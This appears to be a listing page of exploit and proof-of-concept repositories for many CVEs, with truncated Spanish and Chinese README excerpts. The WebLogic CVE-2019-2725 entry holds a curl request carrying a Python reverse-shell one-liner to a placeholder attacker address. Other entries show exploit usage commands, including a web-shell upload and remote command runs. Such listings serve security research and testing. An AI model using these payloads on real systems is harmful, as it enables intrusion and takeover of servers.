Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- Descripción: Microsoft Word CVE-2017-0199 es propenso a un RCE a través de un manejador HTA Existe una vulnerabilidad de ejecución remota de código en la forma en que Microsoft Office y WordPad analizan archivos especialmente diseñados. Un atacante que explotara con...

CVE-2025-55182-exploit

⚠️ 免责声明 此工具仅限授权的安全测试和教育目的使用。 仅测试您拥有或已获得明确书面许可的系统。 未经授权的使用是非法且不道德的。 开发者对滥用行为不承担任何责任。 请负责任地使用，并遵守所有适用法律。 🔍 概述 CVE-2025-55182 是 React/NextJS 应用程序中利用 experimental-form 功能的一个严重服务器端请求伪造（SSRF）和远程代码执行（RCE）漏洞。 此利用工具提供了一种可靠的方式，用于在授权环境中测试和演示该漏洞。 🎯 漏洞详情 CVE ID: CVE-2025-55182 受影响版本： React: 19.0.0 - 19.2.0...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 El CVE para este problema es CVE-2022-26318...

katana

Katana Un exploit de BootROM para dispositivos Qualcomm lanzados entre 2016 y 2019. Explicación breve del Exploit Con el SoC MSM8998 Nazgul, se agregó el comando 0x13 SAHARARESETSTATEMACHINEID. El comando llamaba a bootsaharaentry, que se supone que reinicia Sahara. La falla es que cada llamada a...

CVE-2025-55182-poc

CVE-2025-55182 Prueba de concepto Ejecución remota de código crítica sin autenticación previa en React Server Components Una prueba de concepto completa que demuestra CVE-2025-55182, una vulnerabilidad crítica en [email protected] que permite a atacantes no autenticados ejecutar código...

Apple-Safari-Remote-Code-Execution-CVE-2020-27930

Este repositorio no tiene un README...

CVE-2017-9805

CVE-2017-9805: Análisis de RCE en Apache Struts 2 S2-052 Este repositorio contiene los detalles técnicos y el trabajo PoC Prueba de Concepto para la vulnerabilidad de deserialización de XStream en Apache Struts 2 S2-052. 📌 Detalles de la Vulnerabilidad CVE ID: CVE-2017-9805 Tipo de Vulnerabilidad...

cve-2020-8165-demo

CVE-2020-8165 演示 又一个 CVE-2020-8165 的演示，但采用了比大多数更真实的实现。 背景 CVE-2020-8165 Rails 5.2.4.3、Rails 6.0.3.1 中存在一项反序列化不受信任数据的漏洞，可能允许攻击者在 MemCacheStore 和 RedisCacheStore 中解封用户提供的对象，从而导致远程代码执行。 参考资料 https://hackerone.com/reports/413388 https://vulners.com/cve/CVE-2020-8165...

CVE-2017-9606

CVE-2017-9606 Debido a la insuficiente verificación de integridad, autenticidad y los bajos privilegios de usuario en la carpeta de actualización, un usuario local puede crear archivos de actualización ViPNet falsos con código de ejecución arbitrario y colocarlos en la carpeta de actualización de...

CVE-2018-19422-SubrionCMS-RCE

CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 Ejecución remota de código autenticada /panel/uploads en Subrion CMS 4.2.1 permite a atacantes remotos ejecutar código PHP arbitrario mediante un archivo .pht o .phar, porque el archivo .htaccess los omite. Uso del exploit Comandos: Windows/Linux: $...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 针对 CVE-2019-2725 的简易利用工具。 示例代码： curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import socket,subprocess,os;s=socket.socketsocket.AFINET,socket.SOCKSTREAM;s.connect"MYIP",MYPORT;os.dup2s.fileno,0;...

CVE-2022-29303

CVE-2022-29303-Exploit CVE-2022-29303 的漏洞利用 使用方法 检测单个主机 / \ \ / / || \ | \ // \ / | \ V /| |/ / / / / // /, /| \ | \ | / || ///| /|//|/// Coded By Valentin Lobstein "With great power comes great responsibility" usage: CVE-2022-29303.py -h -u URL -c COMMAND 示例：python3 CVE-2022-29303.py -u...

CVE-2022-24086

CVE-2022-24086 Probado con: magento 2.4.3 y datos de ejemplo Imagen de Docker: docker.io/bitnami/magento:2.4.3-debian-10-r0 Nombre: var this.getTemplateFilter.filter$order.shippingaddress.cityvar...

CVE-2023-38831-winrar-expoit-simple-Poc

CVE-2023-38831-winrar-expoit-simple-Poc Muy importante Espero que veas este enlace primero https://github.com/b1tg/CVE-2023-38831-winrar-exploit No escribí el exploit completo. Él escribió el exploit. https://github.com/b1tg Todo lo que hizo fue modificar algo simple para obtener una Reverse Shel...

CVE-2022-34919

CVE-2022-34919 El Contensis Content Management System anterior a la versión 15.2.1.79 tiene una falla en su interfaz 'Classic' que permite a un usuario no autenticado cargar y aprobar archivos arbitrarios. Al cargar un archivo aspx, es posible ejecutar comandos en el contexto del servidor web. Es...

CVE-2016-2098

CVE-2016-2098 Ruby on Rails 中 Action Pack 在 3.2.22.2 之前版本、4.x 在 4.1.14.2 之前版本及 4.2.x 在 4.2.5.2 之前版本中，允许远程攻击者利用应用程序对 render 方法的无限制使用来执行任意 Ruby 代码。 分类 输入验证错误 致谢 来自 makandra 的 Tobias Kraze 和 Phenoelit 的 joernchen 使用方法 请对代码进行必要的修改以最好地满足您的需求 这并不完美，因为我正在持续学习 Python...

cve-2026-26114-poc

CVE-2026-26114 Solo para uso en laboratorio o sistemas autorizados para pruebas. PoC en Python pip install requests requests-ntlm python poc/cve202626114rce.py ^ --target http://sharepoint.local ^ --username spuser1 ^ --password "Password123!" ^ --domain SP19 ^ --cmd "cmd /c whoami...

CVE-2022-29464

WSO2 任意文件上传导致远程命令执行 RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 示例 python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2025-1974

Kubernetes Ingress-NGINX Ejecución remota de código no autenticada CVE-2025-1974 Ingress-NGINX: Controlador de ingreso para Kubernetes que utiliza NGINX como proxy inverso y balanceador de carga La vulnerabilidad "IngressNightmare" CVE-2025-1974 se origina en un defecto crítico en el Admission...

CVE-2021-42392-exploit-lab

⚠️ H2数据库RCE利用PoC CVE-2021-42392 本仓库提供了一个最小且可控的环境，用于使用 CREATE ALIAS 特性测试 H2数据库远程代码执行漏洞 CVE-2021-42392 。与许多演示不同，此利用直接针对 H2 TCP 服务（通常在端口 9092），而不依赖 H2 Web 控制台。 🛑 仅用于教育和测试目的。请勿在您不拥有或未经明确许可的系统上使用。 描述 CVE-2021-42392 是 H2 Database 2.0.206 之前版本中的一个严重漏洞，如果数据库通过 TCP 或 Web 控制台暴露，则允许通过 CREATE ALIAS 远程执行代码。...